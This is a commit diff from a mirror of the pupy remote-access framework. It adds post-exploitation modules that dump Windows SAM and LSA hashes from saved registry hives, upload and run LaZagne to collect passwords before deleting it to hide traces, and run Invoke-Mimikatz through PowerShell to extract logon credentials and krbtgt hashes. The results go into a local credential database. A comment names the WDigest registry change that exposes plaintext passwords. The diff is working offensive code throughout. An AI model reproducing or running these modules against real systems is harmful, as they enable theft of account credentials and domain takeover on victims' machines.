mirror of https://github.com/n1nj4sec/pupy.git
new features
This commit is contained in:
parent
f3af4aa726
commit
aa78f6874b
File diff suppressed because one or more lines are too long
|
@ -15,7 +15,7 @@
|
||||||
|
|
||||||
from pupylib.PupyModule import *
|
from pupylib.PupyModule import *
|
||||||
from pupylib.PupyCompleter import *
|
from pupylib.PupyCompleter import *
|
||||||
|
from pupylib.utils.credentials import Credentials
|
||||||
from modules.lib.utils.shell_exec import shell_exec
|
from modules.lib.utils.shell_exec import shell_exec
|
||||||
|
|
||||||
from rpyc.utils.classic import download
|
from rpyc.utils.classic import download
|
||||||
|
@ -55,7 +55,7 @@ class CredDump(PupyModule):
|
||||||
for cmd in ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM /y", "reg save HKLM\\SECURITY %TEMP%/SECURITY /y", "reg save HKLM\\SAM %TEMP%/SAM /y"):
|
for cmd in ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM /y", "reg save HKLM\\SECURITY %TEMP%/SECURITY /y", "reg save HKLM\\SAM %TEMP%/SAM /y"):
|
||||||
self.info("running %s..." % cmd)
|
self.info("running %s..." % cmd)
|
||||||
self.log(shell_exec(self.client, cmd))
|
self.log(shell_exec(self.client, cmd))
|
||||||
self.success("hives saved!")
|
self.success("hives saved!")
|
||||||
remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")
|
remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")
|
||||||
|
|
||||||
self.info("downloading SYSTEM hive...")
|
self.info("downloading SYSTEM hive...")
|
||||||
|
@ -107,11 +107,17 @@ class CredDump(PupyModule):
|
||||||
self.success("dumping LM and NT hashes...")
|
self.success("dumping LM and NT hashes...")
|
||||||
bootkey = get_bootkey(sysaddr)
|
bootkey = get_bootkey(sysaddr)
|
||||||
hbootkey = get_hbootkey(samaddr,bootkey)
|
hbootkey = get_hbootkey(samaddr,bootkey)
|
||||||
|
hashes = []
|
||||||
for user in get_user_keys(samaddr):
|
for user in get_user_keys(samaddr):
|
||||||
lmhash, nthash = get_user_hashes(user,hbootkey)
|
lmhash, nthash = get_user_hashes(user,hbootkey)
|
||||||
if not lmhash: lmhash = empty_lm
|
if not lmhash: lmhash = empty_lm
|
||||||
if not nthash: nthash = empty_nt
|
if not nthash: nthash = empty_nt
|
||||||
self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
|
self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
|
||||||
|
hashes.append({'hashes': "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')), 'Tool': 'Creddump'})
|
||||||
|
|
||||||
|
db = Credentials()
|
||||||
|
db.add(hashes)
|
||||||
|
self.success("Hashes stored on the database")
|
||||||
|
|
||||||
self.success("dumping lsa secrets...")
|
self.success("dumping lsa secrets...")
|
||||||
secrets = get_file_secrets(os.path.join(rep, "SYSTEM"), os.path.join(rep, "SECURITY"), is_vista)
|
secrets = get_file_secrets(os.path.join(rep, "SYSTEM"), os.path.join(rep, "SECURITY"), is_vista)
|
||||||
|
|
|
@ -0,0 +1,28 @@
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
from pupylib.utils.credentials import Credentials
|
||||||
|
import os
|
||||||
|
|
||||||
|
__class_name__="Creds"
|
||||||
|
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
|
||||||
|
|
||||||
|
# @config(category="admin")
|
||||||
|
class Creds(PupyModule):
|
||||||
|
""" database containing all passwords found """
|
||||||
|
|
||||||
|
def init_argparse(self):
|
||||||
|
self.arg_parser = PupyArgumentParser(prog="Creds", description=self.__doc__)
|
||||||
|
self.arg_parser.add_argument('--show','-S', action='store_true', help='print all passwords on the database')
|
||||||
|
self.arg_parser.add_argument('--flush', '-F', action='store_true', help='flush the entire database')
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
if args.flush:
|
||||||
|
warning = raw_input("[!] Are you sure to flush the database ? [y/N]")
|
||||||
|
if warning == 'y':
|
||||||
|
Credentials().flush()
|
||||||
|
self.success("Database removed")
|
||||||
|
else:
|
||||||
|
self.warning("Nothing done")
|
||||||
|
elif args.show:
|
||||||
|
Credentials().show()
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,110 @@
|
||||||
|
# -*- coding: UTF8 -*-
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
from pupylib.PupyCompleter import *
|
||||||
|
from rpyc.utils.classic import upload
|
||||||
|
from pupylib.utils.credentials import Credentials
|
||||||
|
import tempfile
|
||||||
|
import subprocess
|
||||||
|
import os.path
|
||||||
|
|
||||||
|
__class_name__="LaZagne"
|
||||||
|
|
||||||
|
@config(cat="exploit")
|
||||||
|
class LaZagne(PupyModule):
|
||||||
|
"""
|
||||||
|
execute LaZagne (Windows / Linux)
|
||||||
|
"""
|
||||||
|
def init_argparse(self):
|
||||||
|
self.arg_parser = PupyArgumentParser(prog="lazagne", description=self.__doc__)
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
platform=self.client.desc["platform"]
|
||||||
|
isWindows = True
|
||||||
|
if "Windows" in platform:
|
||||||
|
lazagne_path = self.client.pupsrv.config.get("lazagne","win")
|
||||||
|
elif "Linux" in platform:
|
||||||
|
isWindows = False
|
||||||
|
if "64" in self.client.desc["os_arch"]:
|
||||||
|
lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
|
||||||
|
else:
|
||||||
|
lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
|
||||||
|
else:
|
||||||
|
self.error("Platform not supported")
|
||||||
|
return
|
||||||
|
|
||||||
|
if not os.path.isfile(lazagne_path):
|
||||||
|
self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
|
||||||
|
self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
|
||||||
|
return
|
||||||
|
|
||||||
|
tf = tempfile.NamedTemporaryFile()
|
||||||
|
dst = tf.name
|
||||||
|
if isWindows:
|
||||||
|
remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%")
|
||||||
|
tfName = tf.name.split(os.sep)
|
||||||
|
tfName = tfName[len(tfName)-1] + '.exe'
|
||||||
|
dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName)
|
||||||
|
tf.file.close()
|
||||||
|
|
||||||
|
self.success("Uploading laZagne to: %s" % dst)
|
||||||
|
upload(self.client.conn, lazagne_path, dst)
|
||||||
|
|
||||||
|
if not isWindows:
|
||||||
|
self.success("Adding execution permission")
|
||||||
|
cmd = ["chmod", "+x", dst]
|
||||||
|
output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
|
||||||
|
|
||||||
|
self.success("Executing")
|
||||||
|
cmd = [dst, "all"]
|
||||||
|
output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
|
||||||
|
self.success("%s" % output)
|
||||||
|
|
||||||
|
creds = self.parse_output(output)
|
||||||
|
db = Credentials()
|
||||||
|
db.add(creds)
|
||||||
|
self.success("Passwords stored on the database")
|
||||||
|
|
||||||
|
self.success("Cleaning traces")
|
||||||
|
self.client.conn.modules['os'].remove(dst)
|
||||||
|
|
||||||
|
def parse_output(self, output):
|
||||||
|
creds = []
|
||||||
|
toSave = False
|
||||||
|
ishashes = False
|
||||||
|
cpt = 0
|
||||||
|
for line in output.split('\n'):
|
||||||
|
if not toSave:
|
||||||
|
if "##########" in line:
|
||||||
|
user='%s' % line.replace('##########', '').split(':')[1].strip()
|
||||||
|
|
||||||
|
if "---------" in line:
|
||||||
|
category='%s' % line.replace('-', '').strip()
|
||||||
|
|
||||||
|
if " found !!!" in line:
|
||||||
|
toSave = True
|
||||||
|
cred = {}
|
||||||
|
else:
|
||||||
|
if not line or line == '\r':
|
||||||
|
if ishashes:
|
||||||
|
cpt+=1
|
||||||
|
if cpt > 1 or not ishashes:
|
||||||
|
toSave = False
|
||||||
|
ishashes = False
|
||||||
|
if cred:
|
||||||
|
cred['Tool']="LaZagne"
|
||||||
|
cred['System user'] = user
|
||||||
|
cred['Category'] = category
|
||||||
|
creds.append(cred)
|
||||||
|
else:
|
||||||
|
# not store hashes => creddump already does it
|
||||||
|
if not ishashes:
|
||||||
|
if "hashes: " in line:
|
||||||
|
ishashes = True
|
||||||
|
cpt = 0
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
key, value = line.split(':', 1)
|
||||||
|
cred[key] = value.strip()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return creds
|
|
@ -20,10 +20,11 @@ def execute_powershell_script(module, content, function):
|
||||||
p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
|
p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
|
||||||
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
||||||
p.stdin.write("Write-Host $b\n")
|
p.stdin.write("Write-Host $b\n")
|
||||||
|
|
||||||
# Get the result
|
# Get the result
|
||||||
output = ""
|
output = ""
|
||||||
for i in p.stdout.readline():
|
for i in p.stdout.readline():
|
||||||
output += i
|
output += i
|
||||||
output = base64.b64decode(output)
|
output = base64.b64decode(output)
|
||||||
return output
|
p.stdin.write("exit\n")
|
||||||
|
return output
|
||||||
|
|
|
@ -0,0 +1,163 @@
|
||||||
|
# -*- coding: UTF8 -*-
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
from modules.lib.windows.powershell_upload import execute_powershell_script
|
||||||
|
from pupylib.utils.credentials import Credentials
|
||||||
|
|
||||||
|
__class_name__="Mimikatz_Powershell"
|
||||||
|
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
|
||||||
|
|
||||||
|
@config(compat="windows", category="admin")
|
||||||
|
class Mimikatz_Powershell(PupyModule):
|
||||||
|
"""
|
||||||
|
execute mimikatz using powershell
|
||||||
|
"""
|
||||||
|
|
||||||
|
def init_argparse(self):
|
||||||
|
self.arg_parser = PupyArgumentParser(prog="Mimikatz_Powershell", description=self.__doc__)
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
|
||||||
|
# check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
|
||||||
|
|
||||||
|
content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read()
|
||||||
|
function = 'Invoke-Mimikatz'
|
||||||
|
|
||||||
|
output = execute_powershell_script(self, content, function)
|
||||||
|
|
||||||
|
self.success("%s" % output)
|
||||||
|
|
||||||
|
creds = self.parse_mimikatz(output)
|
||||||
|
db = Credentials()
|
||||||
|
db.add(creds)
|
||||||
|
self.success("Credentials stored on the database")
|
||||||
|
|
||||||
|
def parse_mimikatz(self, data):
|
||||||
|
"""
|
||||||
|
Parse the output from Invoke-Mimikatz to return credential sets.
|
||||||
|
This was directly stolen from the Empire project as well.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# cred format:
|
||||||
|
# credType, domain, username, password, hostname, sid
|
||||||
|
creds = []
|
||||||
|
|
||||||
|
# regexes for "sekurlsa::logonpasswords" Mimikatz output
|
||||||
|
regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)"]
|
||||||
|
|
||||||
|
hostDomain = ""
|
||||||
|
domainSid = ""
|
||||||
|
hostName = ""
|
||||||
|
|
||||||
|
lines = data.split("\n")
|
||||||
|
for line in lines[0:2]:
|
||||||
|
if line.startswith("Hostname:"):
|
||||||
|
try:
|
||||||
|
domain = line.split(":")[1].strip()
|
||||||
|
temp = domain.split("/")[0].strip()
|
||||||
|
domainSid = domain.split("/")[1].strip()
|
||||||
|
|
||||||
|
hostName = temp.split(".")[0]
|
||||||
|
hostDomain = ".".join(temp.split(".")[1:])
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
for regex in regexes:
|
||||||
|
|
||||||
|
p = re.compile(regex)
|
||||||
|
|
||||||
|
for match in p.findall(data):
|
||||||
|
|
||||||
|
lines2 = match.split("\n")
|
||||||
|
username, domain, password = "", "", ""
|
||||||
|
|
||||||
|
for line in lines2:
|
||||||
|
try:
|
||||||
|
if "Username" in line:
|
||||||
|
username = line.split(":",1)[1].strip()
|
||||||
|
elif "Domain" in line:
|
||||||
|
domain = line.split(":",1)[1].strip()
|
||||||
|
elif "NTLM" in line or "Password" in line:
|
||||||
|
password = line.split(":",1)[1].strip()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if username != "" and password != "" and password != "(null)":
|
||||||
|
|
||||||
|
sid = ""
|
||||||
|
|
||||||
|
# substitute the FQDN in if it matches
|
||||||
|
if hostDomain.startswith(domain.lower()):
|
||||||
|
domain = hostDomain
|
||||||
|
sid = domainSid
|
||||||
|
|
||||||
|
if self.validate_ntlm(password):
|
||||||
|
credType = "hash"
|
||||||
|
|
||||||
|
else:
|
||||||
|
credType = "password"
|
||||||
|
|
||||||
|
# ignore machine account plaintexts
|
||||||
|
if not (credType == "password" and username.endswith("$")):
|
||||||
|
creds.append({'domain': domain, 'user': username, credType:password, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
|
||||||
|
|
||||||
|
if len(creds) == 0:
|
||||||
|
# check if we have lsadump output to check for krbtgt
|
||||||
|
# happens on domain controller hashdumps
|
||||||
|
for x in xrange(8,13):
|
||||||
|
if lines[x].startswith("Domain :"):
|
||||||
|
|
||||||
|
domain, sid, krbtgtHash = "", "", ""
|
||||||
|
|
||||||
|
try:
|
||||||
|
domainParts = lines[x].split(":")[1]
|
||||||
|
domain = domainParts.split("/")[0].strip()
|
||||||
|
sid = domainParts.split("/")[1].strip()
|
||||||
|
|
||||||
|
# substitute the FQDN in if it matches
|
||||||
|
if hostDomain.startswith(domain.lower()):
|
||||||
|
domain = hostDomain
|
||||||
|
sid = domainSid
|
||||||
|
|
||||||
|
for x in xrange(0, len(lines)):
|
||||||
|
if lines[x].startswith("User : krbtgt"):
|
||||||
|
krbtgtHash = lines[x+2].split(":")[1].strip()
|
||||||
|
break
|
||||||
|
|
||||||
|
if krbtgtHash != "":
|
||||||
|
creds.append({'domain': domain, 'user': user, 'krbtgt hash': krbtgtHash, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
|
||||||
|
except Exception as e:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if len(creds) == 0:
|
||||||
|
# check if we get lsadump::dcsync output
|
||||||
|
if '** SAM ACCOUNT **' in lines:
|
||||||
|
domain, user, userHash, dcName, sid = "", "", "", "", ""
|
||||||
|
for line in lines:
|
||||||
|
try:
|
||||||
|
if line.strip().endswith("will be the domain"):
|
||||||
|
domain = line.split("'")[1]
|
||||||
|
elif line.strip().endswith("will be the DC server"):
|
||||||
|
dcName = line.split("'")[1].split(".")[0]
|
||||||
|
elif line.strip().startswith("SAM Username"):
|
||||||
|
user = line.split(":")[1].strip()
|
||||||
|
elif line.strip().startswith("Object Security ID"):
|
||||||
|
parts = line.split(":")[1].strip().split("-")
|
||||||
|
sid = "-".join(parts[0:-1])
|
||||||
|
elif line.strip().startswith("Hash NTLM:"):
|
||||||
|
userHash = line.split(":")[1].strip()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if domain != "" and userHash != "":
|
||||||
|
creds.append({'domain': domain, 'user': user, 'hash': userHash, 'dcName': dcName, 'sid':sid, 'Tool': 'mimikatz'})
|
||||||
|
|
||||||
|
return creds
|
||||||
|
|
||||||
|
def validate_ntlm(self, data):
|
||||||
|
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||||
|
if allowed.match(data):
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
|
@ -22,6 +22,11 @@ sound_player = totem
|
||||||
exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
|
exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
|
||||||
exe_x64=/usr/share/mimikatz/x64/mimikatz.exe
|
exe_x64=/usr/share/mimikatz/x64/mimikatz.exe
|
||||||
|
|
||||||
|
[lazagne]
|
||||||
|
win=/usr/share/lazagne/laZagne.exe
|
||||||
|
linux_32=/usr/share/lazagne/LaZagne-32bits
|
||||||
|
linux_64=/usr/share/lazagne/LaZagne-64bits
|
||||||
|
|
||||||
[aliases]
|
[aliases]
|
||||||
info = get_info
|
info = get_info
|
||||||
pyexec = pyexec
|
pyexec = pyexec
|
||||||
|
@ -35,3 +40,4 @@ getpid = getpid
|
||||||
getppid = getppid
|
getppid = getppid
|
||||||
pwd = pyexec -c 'import os;print os.getcwd()'
|
pwd = pyexec -c 'import os;print os.getcwd()'
|
||||||
#tasklist = shell_exec 'tasklist /v'
|
#tasklist = shell_exec 'tasklist /v'
|
||||||
|
creds = creds -S
|
|
@ -80,13 +80,17 @@ class ThreadPool(object):
|
||||||
|
|
||||||
def join(self):
|
def join(self):
|
||||||
while True:
|
while True:
|
||||||
allok=True
|
try:
|
||||||
for t in self.thread_pool:
|
allok=True
|
||||||
if t.isAlive():
|
for t in self.thread_pool:
|
||||||
t.join(0.5)
|
if t.isAlive():
|
||||||
allok=False
|
t.join(0.5)
|
||||||
if allok:
|
allok=False
|
||||||
break
|
if allok:
|
||||||
|
break
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print "Press [ENTER] to interrupt the job"
|
||||||
|
pass
|
||||||
|
|
||||||
def all_finished(self):
|
def all_finished(self):
|
||||||
for t in self.thread_pool:
|
for t in self.thread_pool:
|
||||||
|
|
|
@ -0,0 +1,65 @@
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
|
||||||
|
class Credentials():
|
||||||
|
def __init__(self):
|
||||||
|
ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "..", "db"))
|
||||||
|
dbName = 'creds.json'
|
||||||
|
|
||||||
|
# check if the db exists
|
||||||
|
self.db = ROOT + os.sep + dbName
|
||||||
|
if not os.path.exists(ROOT):
|
||||||
|
os.makedirs(ROOT)
|
||||||
|
|
||||||
|
if not os.path.exists(self.db):
|
||||||
|
f = open(self.db, "w")
|
||||||
|
f.write('{"creds": []}')
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# check if dictionnary already exists in dictionnary_tab
|
||||||
|
def checkIfExists(self, dictionnary, dictionnary_tab):
|
||||||
|
for d in dictionnary_tab:
|
||||||
|
shared_items = set(d.items()) & set(dictionnary.items())
|
||||||
|
if len(shared_items) == len(d):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def add(self, data):
|
||||||
|
with open(self.db) as json_db:
|
||||||
|
db = json.load(json_db)
|
||||||
|
|
||||||
|
for d in data:
|
||||||
|
if not self.checkIfExists(d, db['creds']):
|
||||||
|
db['creds'].append(d)
|
||||||
|
|
||||||
|
with open(self.db, 'w') as json_db:
|
||||||
|
json_db.write(json.dumps(db))
|
||||||
|
|
||||||
|
def show(self):
|
||||||
|
tool = ""
|
||||||
|
with open(self.db) as json_db:
|
||||||
|
data = json.load(json_db)
|
||||||
|
|
||||||
|
# List sorted by Tools
|
||||||
|
data = sorted(data['creds'], key=lambda d: d["Tool"], reverse=True)
|
||||||
|
for creds in data:
|
||||||
|
if "Tool" in creds:
|
||||||
|
if tool != creds["Tool"]:
|
||||||
|
print '\n---------- %s ---------- \n' % creds["Tool"]
|
||||||
|
tool = creds["Tool"]
|
||||||
|
del creds["Tool"]
|
||||||
|
|
||||||
|
if tool == 'Creddump':
|
||||||
|
for cred in creds:
|
||||||
|
if creds[cred]:
|
||||||
|
print '%s' % creds[cred]
|
||||||
|
else:
|
||||||
|
for cred in creds:
|
||||||
|
if creds[cred]:
|
||||||
|
print '%s: %s' % (cred, creds[cred])
|
||||||
|
print
|
||||||
|
print
|
||||||
|
|
||||||
|
def flush(self):
|
||||||
|
if os.path.exists(self.db):
|
||||||
|
os.remove(self.db)
|
Loading…
Reference in New Issue